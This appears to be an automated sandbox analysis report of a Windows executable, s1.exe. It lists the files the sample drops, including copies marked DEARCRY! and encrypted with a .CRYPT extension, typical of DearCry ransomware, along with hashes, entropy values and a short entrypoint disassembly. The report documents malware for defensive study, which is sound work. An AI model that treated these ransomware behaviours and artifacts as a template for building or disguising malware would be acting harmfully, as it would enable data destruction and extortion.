..E...Z.+V..t....NA....f.~..jMV.x.$'.,.i..,.!;.LO<T..l...j.dm...F.....z.[....~.....N...+..c}F..{.M...V.....s@.>=.....B..Z.c.".{.?VB...~.K.B.....s...*.7.P=c..Mj/...GFH...y.5.."Y-...#.2..Vb3_y.....X......6.....9...2O@8[....i....G...Y...N.oZ+.............4...'.2.X$.X...t...&`....$...f."?..l.I...t^..(..3%.....:bR...,.4..s_0..#...p.....6fJ.....o..j.......7.Fba..P...m...(.
                                                              C:\Users\user\AppData\Local\Temp\Low\JavaDeployReg.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):445
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:55C2B47C9AEA50661A855FE91EB8AC32
                                                              SHA1:13EA23A51394EA2C13420DDAC1294EAE6F82F846
                                                              SHA-256:BA5A59D879C1F6543B46085D02F5C90FDB22E663487D3586B6533CD887C83B72
                                                              SHA-512:947DA2E85F5C21E7847F10D727729915973C911A47DE233EF1FB97F60AE41DB05F4C8C0EE655E3AA264DB2067763E4134B76279F1D3EA8AD43640A64176522A3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\Low\JavaDeployReg.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1880
                                                              Entropy (8bit):7.791511522030653
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4C208B6DE5ED3FAD45FA2037D562CD53
                                                              SHA1:10C928A78A02B91BC982B9E95534BF7590F39865
                                                              SHA-256:2F8D3BF3B528D5D790E432031145CC577FE322605D7E2A4649DF5746D6AC11DD
                                                              SHA-512:C979A9861EF4CE552F6973BE0D500CF51EFD116AA2651343AED4D0E95BFD854135F66477DC6E62722C1031EE0EAEE7EA288C119EED815C97CB7B6B607E43531B
                                                              Malicious:false
                                                              Preview: DEARCRY!.....lq.T..s..G..f../..[.M.7K............j.c+.9.z.pp.;.`|..#..E..LIN}...D..W:6.....=..dO..i.....-.@d..o..._..o5.=...&....~.~.............4.R..l..-...H=I~.....L...`p4..4.S.....~.@..t.tH.7.=.{|..W.....(..Iw."..+........O......O5.z%...T %...h|d{..._T.....Y.........S....q..M.b.6.P..-F.-g.|}K..#.......q.p...T..k..,..?x[...S*.Az..Yj. ..'.o..us)..v.F...DEARCRY!......Qj<.......YU.6:.....R.,... &+5.A.o.D...Y.f_GIW..Y..........S.@%....$o..Xc.o.{..n9.(..i..-......a..B....s....<.2.i..@.......T1..$]...uDEs/.<bMr$;SmP._).hp......D.L...:...W.}7\5.s/Z..t...{..|0d.Z....F.m.i.l.Q.a.......=Y##!B.j..+.T.e"I.....R....Y.......?..^+...@S...9....%.,..?J..O..7z.?..'..?.Ws.d...[.<.:m.e.....:......Q.p.okz....R.9)..r.)!...fDEARCRY!....|.n.2c|.#..Ch.~.,..7...l.....X.y(..m...M.C...Y.[..4|.z......4.Q.7._u.}..."@@..z.gc.>.U.S....z...cC...V..NuZI$.1.J..Xar............]_r.......}8.wnxo{.S).1...CK.....A.M...O.P.@TO...z..r.W...D.p..y.&.g.YC....;|@....%8...!d.
                                                              C:\Users\user\AppData\Local\Temp\SetupExe(202007230953501D8).log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312549
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F8E4E89CF54FAA8671520A64CED16038
                                                              SHA1:1B23546F804AA209FE70EAAB28B845B9C5764F72
                                                              SHA-256:819A9A3C55B25E013ECFCDA2F5BD283EA063C6DF5CBB354CBD6D9B556D8D3472
                                                              SHA-512:1701188E80B9BA1BA75C7FF1C16B3DDAA76C42AF5DAAFC4C7426AA408F2077197109B203DACFD6952C12C76B98024691E2C40A9E76BDC1CC6D24ADE1F2E80FB1
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\SetupExe(202007230953501D8).log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):312840
                                                              Entropy (8bit):7.999304820184969
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:AF9FE8AE599C876D189AAEBA91DC52C0
                                                              SHA1:B3BD39F756EC8EBBB80F8A57E828225608F596D9
                                                              SHA-256:4A94BAF961FC7F726D248C0D161CAACDCB1B4F34B502B0F3399D0BFD5801CFBD
                                                              SHA-512:0ED1C76AA58CD0E44C150A74FE53249AACCEF6910D41FE171B32193DB9818B103A913FB61DD895EA2D4F2C68B90B5D2EDB32AE103AFC2A94739A79E9DC34FFCA
                                                              Malicious:true
                                                              Preview: DEARCRY!....HJC.xuJA>...."..o#$...]."....|.-..N...J...6 f...W.g_....y.Gp.)....e...s-..9gd..*0.Z.W...qk.}...x..7..h.id.q... A.L......=.I.*.rm6.....i..qr5.-w#......!..$..?.\.!#.y,Q8O.cgC....lPj..._.q....K.....CE.3.Nu7..!X#V.~.R.G...N.H.5. mE4.+.....i,....\$............/`.H...<..+.Q..P.)mj!..AC.B)...JE...Lb.Y...?.F..'w.n3..m..R.'i.. n...2`)......W.g..~...f,.u.3..p.O....._.k8.%+.$..}.4i.V....8..KS.0^..".....G........9..M..*....&$..\q..#C)o.Oj.$l..v..!...._.@.D-b.H5].....3..?.'..6R8.U..k.~.~7..WV......3..k.?..S..U..4.6.o^..[".y...;..f.r..|s...O.0.i\...[l5};wq..!....Q...$.7}b_9-.G.+...;LKbK..].e#..K....l..#.7Ul".i.......Zb..ID@.yh.i..4..._^.q2.t..<....h.B@......1.HY....'1./..b.....`..|R....W;..*:}W9.F..;..U...Xc).0...T/I...c2L.M[J?.....WX9|.@...~.y....._\}...C....cBb.4..Q.D%.}.../+@..?Z....}(r.?)B./.R.M.@...P........Rl.....L?-f...^..y>S...v.C....8.0.~.8..f.........:.G56...|..n..RI$V.)..t..9-...e.o)..........r~U...]p..jU&?..b..)e...E.u'.(z.....oaxL.N..
                                                              C:\Users\user\AppData\Local\Temp\aria-debug-5924.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2350
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0ACF82067B68C377CA79B3CC9FD7A44D
                                                              SHA1:E6292B8F9057EF4625B3D355183ABE82CE60DAAA
                                                              SHA-256:DA59C3AC6AAEDF3814F288DB77B96533EDB5DD505C60415B2145D98F81DC0B9D
                                                              SHA-512:DF2505CB21A3EB24C6C6FB10E24719E479627E746711A681B26FBA70A691B31DED5EC0EBE066D0E09AFFEF70D05E2F02C9E02D16131DDF0097B4D86FAD796DC3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\aria-debug-5924.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3800
                                                              Entropy (8bit):7.926172466074939
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CF725F7D685DCF75EE04D6022840A049
                                                              SHA1:17A738CABF5001310682228A71EC61B9D58FF88E
                                                              SHA-256:26282F04C1F550C84ED757C9245081302A7B6C8643AA72C112D3D05DD9E34DCC
                                                              SHA-512:FCADADB7CD2A6967BCD56D91D4E7B6FF3F8DEA781D11A245D3AE4F42C351B6F83FEB5944CE5D87FCDCB4A74444870853B28B169DA9C6F66832395E4228AAD706
                                                              Malicious:false
                                                              Preview: DEARCRY!....a>.&.Q.emS..@?s.\.-...MV...`.r]i..Z~e..A.5.:......X..V...i..'.....U..-7Jr..._.<<S.>..u..Q......d.O~Z`....N_{...Iu.o...K..z..*:....?.h..S....>..d.%Wn....}..... . ....,.<8.c@...V..p....A..U.7..Ij...MA.+KR........1|L/5....l....../I..[|AS....B............".T'.%.xZ...Z.g...Z.q3k. e6.3.......E.........5.....#/o.qv3...u..........!}.J...;Y(3.^4...GH..>R.&.....r...(v.(........o.J.......r.).....{[...r.i..l.YVHN...sK;.o.PW.....RL.I...;.,A.......1r.....|6<.W..."8{...t>..#..n..!}6......\t.Y......N..0..I....(..1S....T...z..e=.....8..Y.BMD...M.O.Hb...d.A..q.z...;;..b..@.J.....`nYr.i...P..........{g.Z.H.$<...J....[....z.....{....G.C.;d2f..;..9...5.u.a.....M..i!..l.".L.].Hp.....\"ZN...j.....*R...t.--...n..x._...p.DEARCRY!....]?.....WyX......M;.ox.)M[.[..6Qe...ig@...a).$h.|n.u...q.....g..2..-+{..o%.....9..x.^.x......zBGm..t8..&O.}...\...Y...d..`XF...I...L..0...=.]...s.+.....!.....g.....Hp...VH_.4.c.OY.m..T....M..ak.`..C..,-.e.y..@..Y.../,h..
                                                              C:\Users\user\AppData\Local\Temp\aurcgfbz.ddt\unarchiver.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):44
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:23005536DBA2C412A23BBE1041E007CA
                                                              SHA1:A7DA128970268478E46F9585D0FB6297349B9675
                                                              SHA-256:B06B3F20C246DB70A136E3AE4787D0DF96DB4F693D215C21883D3C19700FB276
                                                              SHA-512:CA0EF543F21F13732DE0A99F896C4C584C9402ED414A465A6CDDB760CD13C053C9EE7659E0E6A268EC4A4E8CDB955AEF8F2AE85721339AD1300C4C85071F51A5
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\aurcgfbz.ddt\unarchiver.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):7.258679550561395
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7C939A266D479DA8EC3D08FCBB71F17F
                                                              SHA1:86F366514D5633E5FF9C8E9B918D786509E2242D
                                                              SHA-256:6DF523519C32E38F3C9E6B9DCB0CA54E497929C5EF8BDC9686F428173D5C1D3F
                                                              SHA-512:677FEF4375E9CFE59FD0FC6BBEC3AF80391C43757C1CA8ED3E77A9A795D7F039FAB7D9F41EFD99C8E22B119D4F0A2AE5E59A27C8AAA1CC2F6BD51455FB8B6DE1
                                                              Malicious:false
                                                              Preview: DEARCRY!....>...g.0RXi5U........[...J..k.r...=E...5.......&%./.f..w1n......c.""..4.....v.x..1.k/..8.a9./.^ .C....xO}......l...I..g..w..I..";.pU.....}..f...v..;..`.\5..O^?.y^.^....LK.....`....W..n.WD.+^.c.m.M9..z.H..(.*O..o..xZ.. ...#.y>~JxO....xk.ND.....,..........M..8...:.n...$...c.z0.K..M.......E..[+....KU
                                                              C:\Users\user\AppData\Local\Temp\chrome_installer.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):107070
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DCDCC3627E93A927AC5E18B9C1892A47
                                                              SHA1:0BB474C34848575AFF437BE482330E880F67EEC1
                                                              SHA-256:692D289296A28E4E4621987DB1805C150785B754D4E1BAAADE332F1B770F23C3
                                                              SHA-512:8C72F2B72320E3E309D0CCDE4D633370D7B51C70AE44CBF618F50E3F313CD29F2E256596A8608EAD66EA53EA820F4757FD5A51C86769A3DA98DE3BB293701864
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Temp\chrome_installer.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):108520
                                                              Entropy (8bit):7.998420435571798
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:61726CB1F51D117E4226978C084D2BAC
                                                              SHA1:0C9B7F5D44EFE511692210B920FB022496995351
                                                              SHA-256:983B913C657FEC80FADA0A859368E24A0C2FC252F2A4162EEEF3045A058F4951
                                                              SHA-512:317AD033399550BEBE001565B4CFA12C9162333B8E908EEAE6A3D831639942D9633FA87E78021163D93AEC2D30A0F95498A557D5C73A8EA5A1A829C827EBB5B2
                                                              Malicious:true
                                                              Preview: DEARCRY!......7].J....'...uU...)..P.fd....4p#..7.....^.o].......%.iI..S.t....El".\,.90.....p.eZ".J..'.......rn(.L.{.?.Q....~.....O....o..=..T...=|..P. ..f..o..z>,....>.o.....U..._.^c.x>^...c.....@..v.Z..].C9J...o.J\.8..'.M8..G...z9.[..Z...e.....YY.....nY.....S.......\wi.<._..kF.....pq.O...".:.....}....v..$..E...UXD).j+U.5.<.C......N...H..[..7.h.....C..s...i._...Ht.`.^..g&.....&..n.bI..a.G"1.q[`...-~cB......1...{z.L.Gn.....QJm...4v.M..{x.&.LOP.9....<...a...L..z.........B.\...2Q.nn#...UC}.....X.y.........4.M...Lb.;f20|1.\D".s##4w.......\h.74.c..1...^...&.....}.Pn.*rZ....E.G...p.X.!'.B..Bg^..t....U.3.c..Uw..[)/.|ey..u.Pp.2q;.C./@1.J.n..@"5..9.......%).2..D.5.kX...ML.R.M@.....tElb.n!..&...s....L".egs..Q..pkZ..`.G...t.E...../.tD...*....?.7]=.>hi...M.[..q;7..s..=..1&Ph...,>"/)|.+...o6.....9..?.A.7..\...........y.p7}.7.*p..f1.`=..+...Hg...`...?(../(..4A ;..:H|i..+jB....Y..........H..R...}...L..=7.-(...H.7...OP...~....v...J...e.N.if.xO..~I.....
                                                              C:\Users\user\AppData\Local\Temp\{29F36554-42F6-4321-8275-98BE43D049BB}.png
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:PNG image data, 306 x 306, 8-bit/color RGBA, non-interlaced
                                                              Category:dropped
                                                              Size (bytes):5796
                                                              Entropy (8bit):7.8707072980628645
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:00E5FCFD833151F7CBDE607E2F7AFEB4
                                                              SHA1:55839875C0947AAFEBFF53D22CCC5DAD29FE3563
                                                              SHA-256:B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035
                                                              SHA-512:F056777A1987C3BECDC217BDC2D82E6AA41086D38FDDAA45C42F1726B6F7B7616A10918081650E825A724464EF148B669BC258D38A62E0DE8642E2607A0B0DE7
                                                              Malicious:false
                                                              Preview: .PNG........IHDR...2...2.....y.\.....sRGB.........gAMA......a....NIDATx^..M.U...2....`0..X0(6.[#.b.d..Y..\..fV._....<."....^......)..F.EF.i.yp.........6.`O.n.q.O}o..:.t..s.Us...z8u................................................................y..........8......g.......Tt}.]....c.+fq....z"..4.UH.PH.<J8MK.z.8....l.).......W.O.G.Q.VN.p.h..6...C..AV...Rh...U.p8.7..i.....o...'..A.~e.e.c=.g..G.z.;.>{..`S.}.:S...AV.FSau....c..R.m|...k...g.........l.....p.lg.q...Q ..4.f.\:...O...VW.,....Q).Z.f.e[.)..SWT..Y.jgZ....Y.../......=Tw.$.[.P..}.`S.SaF... .[..=.^....T.w.....N.d.jS....4.JMav......,7.....7...n...{\x.@.@k.7.......@..."..Y.\...S...u$.F.z...y...P... K..uTx).i.k.~.^..w.BL.v...[.M....z&. K.[...=....,..C...6....B.w..n.I.h,.M.A..A.......X>.?..TU..~3..Zb.....0u.w.....Rh........Z"..yr....CK(b.XZ......hL...A6..GU`....`i..h'.q....w..A6kn....x.........;a.uh3D..[J.....4.....,W../........%.3@.M..F....d.e...v... k./...{..... ...F.o..]......2.XK.....\^..|G..o.0
                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg
                                                              Process:C:\Windows\explorer.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\bootTel.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):80
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1D9ABE750525B2B6C74A5291F52BAA7
                                                              SHA1:2D5D85DFD3361150E8BEBE7CB730C08258206BA6
                                                              SHA-256:D9B1F3E2C6D528668A73F22575C44ED9F98D9C684964761B621417EFD80D7A60
                                                              SHA-512:B2BF8578EEAB1AAEEE7E51DB684ECCFDF2AD7048142E47A01646D26A3137528D0721362456A1333630F9ED7B61EC8A9B1F4EF2C40C35DEFFBEA635ACBE170B07
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\bootTel.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):376
                                                              Entropy (8bit):7.332741029774937
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D1EA6BAD5C0076CFEB03564F66771A63
                                                              SHA1:AEDAF0B9A6BC1816258835D4361F5E4B2A984CCC
                                                              SHA-256:CEE9A872216EDEC62150A258F6919EA13562AE113CF2779DC7B5C26EFB6748F5
                                                              SHA-512:0340824B5E59CAEBA028F2D2927D35A8367B9132AD27CD05C455099976FA7329B882BE5F6CEAFEF411F7F9FD0AB253151187A56820DB09EAEAE5590AD351A572
                                                              Malicious:false
                                                              Preview: DEARCRY!.....5p...e-..Mm...........\.[%.o..!..w.#J^.8.B..k".w3.s.....+.[.B.......u.3.29.'.).L./X& WP.9..c..<.x.[.T.C.2..F.W.8'.. *...#.j..[.`|m.C......\...+RSF.....r.5e...1...o..Z]..u.,....|w?...y...A...6..Um.kU.-..p2{.'#.M....Y....a.....P.....7I..l..[I..q.....P.......r1.....oTV..9)v..#.8.*...C.=.....6.!*h..{.hG.v..INW....+<..^m8r..*.M.._.......t.B._..[.K.2..

                                                              Static File Info

                                                              General

                                                              File type:PE32 executable (console) Intel 80386, for MS Windows
                                                              Entropy (8bit):6.994610949923189
                                                              TrID:
                                                              • Win32 Executable (generic) a (10002005/4) 99.96%
                                                              • Generic Win/DOS Executable (2004/3) 0.02%
                                                              • DOS Executable Generic (2002/1) 0.02%
                                                              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                              File name:s1.exe
                                                              File size:1322496
                                                              MD5:0e55ead3b8fd305d9a54f78c7b56741a
                                                              SHA1:f7b084e581a8dcea450c2652f8058d93797413c3
                                                              SHA256:2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff
                                                              SHA512:5c3d58d1001dce6f2d23f33861e9c7fef766b7fe0a86972e9f1eeb70bfad970b02561da6b6d193cf24bc3c1aaf2a42a950fa6e5dff36386653b8aa725c9abaaa
                                                              SSDEEP:24576:LU5NX2yJOiUXmEICxu2WAP0NIzkQM+KpPRQ9StIUDpl1fpxkHVZgMCS+:L7XP7P9o5QzUtl1fpxkHVZgMC3
                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m..dm...m..um...m..cm...m...m...m.:.m...m...m...m..jm...m..qm...mRich...m........................PE..L....-G`...

                                                              File Icon

                                                              Icon Hash:00828e8e8686b000

                                                              Static PE Info

                                                              General

                                                              Entrypoint:0x4db796
                                                              Entrypoint Section:.text
                                                              Digitally signed:false
                                                              Imagebase:0x400000
                                                              Subsystem:windows cui
                                                              Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                                                              DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                              Time Stamp:0x60472D07 [Tue Mar 9 08:08:39 2021 UTC]
                                                              TLS Callbacks:
                                                              CLR (.Net) Version:
                                                              OS Version Major:5
                                                              OS Version Minor:0
                                                              File Version Major:5
                                                              File Version Minor:0
                                                              Subsystem Version Major:5
                                                              Subsystem Version Minor:0
                                                              Import Hash:f8b8e20e844ccd50a8eb73c2fca3626d

                                                              Entrypoint Preview

                                                              Instruction
                                                              call 00007FC000EB1A39h
                                                              jmp 00007FC000EA7B19h
                                                              push ebp
                                                              mov ebp, esp
                                                              push edi
                                                              push esi
                                                              mov esi, dword ptr [ebp+0Ch]
                                                              mov ecx, dword ptr [ebp+10h]
                                                              mov edi, dword ptr [ebp+08h]
                                                              mov eax, ecx
                                                              mov edx, ecx
                                                              add eax, esi
                                                              cmp edi, esi
                                                              jbe 00007FC000EA7C7Ah
                                                              cmp edi, eax
                                                              jc 00007FC000EA7E1Ah
                                                              cmp ecx, 00000100h
                                                              jc 00007FC000EA7C91h
                                                              cmp dword ptr [0073C6E4h], 00000000h
                                                              je 00007FC000EA7C88h
                                                              push edi
                                                              push esi
                                                              and edi, 0Fh
                                                              and esi, 0Fh
                                                              cmp edi, esi
                                                              pop esi
                                                              pop edi
                                                              jne 00007FC000EA7C7Ah
                                                              pop esi
                                                              pop edi
                                                              pop ebp
                                                              jmp 00007FC000EB1B0Ah
                                                              test edi, 00000003h
                                                              jne 00007FC000EA7C87h
                                                              shr ecx, 02h
                                                              and edx, 03h
                                                              cmp ecx, 08h
                                                              jc 00007FC000EA7C9Ch
                                                              rep movsd
                                                              jmp dword ptr [004DB914h+edx*4]
                                                              nop
                                                              mov eax, edi
                                                              mov edx, 00000003h
                                                              sub ecx, 04h
                                                              jc 00007FC000EA7C7Eh
                                                              and eax, 03h
                                                              add ecx, eax
                                                              jmp dword ptr [004DB828h+eax*4]
                                                              jmp dword ptr [004DB924h+ecx*4]
                                                              nop
                                                              jmp dword ptr [004DB8A8h+ecx*4]
                                                              nop
                                                              cmp byte ptr [eax-479BFFB3h], bh
                                                              dec ebp
                                                              add byte ptr [eax+23004DB8h], cl
                                                              ror dword ptr [edx-75F877FAh], 1
                                                              inc esi
                                                              add dword ptr [eax+468A0147h], ecx
                                                              add al, cl
                                                              jmp 00007FC003320477h
                                                              add esi, 03h
                                                              add edi, 03h
                                                              cmp ecx, 08h
                                                              jc 00007FC000EA7C3Eh
                                                              rep movsd
                                                              jmp dword ptr [00000014h+edx*4]

                                                              Rich Headers

                                                              Programming Language:
                                                              • [ C ] VS2008 build 21022
